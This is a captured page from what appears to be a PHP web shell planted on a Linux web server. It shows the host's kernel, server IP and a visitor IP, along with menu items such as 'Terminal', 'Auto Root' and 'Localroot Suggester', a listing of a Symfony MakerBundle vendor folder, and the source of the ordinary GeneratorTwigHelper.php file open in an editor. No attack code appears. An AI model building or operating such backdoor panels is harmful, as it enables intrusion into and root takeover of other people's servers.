Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 18.219.197.162
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
www /
wb /
vendor /
symfony /
maker-bundle /
src /
Delete
Unzip
Name
Size
Permission
Date
Action
Command
[ DIR ]
drwxrwxr-x
2022-05-17 15:46
Console
[ DIR ]
drwxrwxr-x
2022-05-17 15:46
DependencyInjection
[ DIR ]
drwxrwxr-x
2022-05-17 15:46
Docker
[ DIR ]
drwxrwxr-x
2022-05-17 15:46
Doctrine
[ DIR ]
drwxrwxr-x
2022-05-17 15:46
Event
[ DIR ]
drwxrwxr-x
2022-05-17 15:46
Exception
[ DIR ]
drwxrwxr-x
2022-05-17 15:46
Maker
[ DIR ]
drwxrwxr-x
2022-05-17 15:46
Renderer
[ DIR ]
drwxrwxr-x
2022-05-17 15:46
Resources
[ DIR ]
drwxrwxr-x
2022-05-17 15:46
Security
[ DIR ]
drwxrwxr-x
2022-05-17 15:46
Test
[ DIR ]
drwxrwxr-x
2022-05-17 15:46
Util
[ DIR ]
drwxrwxr-x
2022-05-17 15:46
ApplicationAwareMakerInterface.php
574
B
-rw-rw-r--
2022-05-17 15:46
ConsoleStyle.php
1.08
KB
-rw-rw-r--
2022-05-17 15:46
DependencyBuilder.php
4.1
KB
-rw-rw-r--
2022-05-17 15:46
EventRegistry.php
6.37
KB
-rw-rw-r--
2022-05-17 15:46
FileManager.php
6.66
KB
-rw-rw-r--
2022-05-17 15:46
Generator.php
9.36
KB
-rw-rw-r--
2022-05-17 15:46
GeneratorTwigHelper.php
2.54
KB
-rw-rw-r--
2022-05-17 15:46
InputAwareMakerInterface.php
676
B
-rw-rw-r--
2022-05-17 15:46
InputConfiguration.php
764
B
-rw-rw-r--
2022-05-17 15:46
MakerBundle.php
1.46
KB
-rw-rw-r--
2022-05-17 15:46
MakerInterface.php
1.56
KB
-rw-rw-r--
2022-05-17 15:46
Str.php
6.93
KB
-rw-rw-r--
2022-05-17 15:46
Validator.php
8.52
KB
-rw-rw-r--
2022-05-17 15:46
Save
Rename
<?php /* * This file is part of the Symfony MakerBundle package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Bundle\MakerBundle; /** * @author Sadicov Vladimir <sadikoff@gmail.com> */ final class GeneratorTwigHelper { private $fileManager; public function __construct(FileManager $fileManager) { $this->fileManager = $fileManager; } public function getEntityFieldPrintCode($entity, $field): string { $twigField = preg_replace_callback('/(?!^)_([a-z0-9])/', function ($s) { return strtoupper($s[1]); }, $field['fieldName']); $printCode = $entity.'.'.str_replace('_', '', $twigField); switch ($field['type']) { case 'datetimetz_immutable': case 'datetimetz': $printCode .= ' ? '.$printCode.'|date(\'Y-m-d H:i:s T\') : \'\''; break; case 'datetime_immutable': case 'datetime': $printCode .= ' ? '.$printCode.'|date(\'Y-m-d H:i:s\') : \'\''; break; case 'dateinterval': $printCode .= ' ? '.$printCode.'.format(\'%y year(s), %m month(s), %d day(s)\') : \'\''; break; case 'date_immutable': case 'date': $printCode .= ' ? '.$printCode.'|date(\'Y-m-d\') : \'\''; break; case 'time_immutable': case 'time': $printCode .= ' ? '.$printCode.'|date(\'H:i:s\') : \'\''; break; case 'json': $printCode .= ' ? '.$printCode.'|json_encode : \'\''; break; case 'array': $printCode .= ' ? '.$printCode.'|join(\', \') : \'\''; break; case 'boolean': $printCode .= ' ? \'Yes\' : \'No\''; break; } return $printCode; } public function getHeadPrintCode($title): string { if ($this->fileManager->fileExists($this->fileManager->getPathForTemplate('base.html.twig'))) { return <<<TWIG {% extends 'base.html.twig' %} {% block title %}$title{% endblock %} TWIG; } return <<<HTML <!DOCTYPE html> <title>$title</title> HTML; } public function getFileLink($path, $text = null, $line = 0): string { $text = $text ?: $path; return "<a href=\"{{ '$path'|file_link($line) }}\">$text</a>"; } }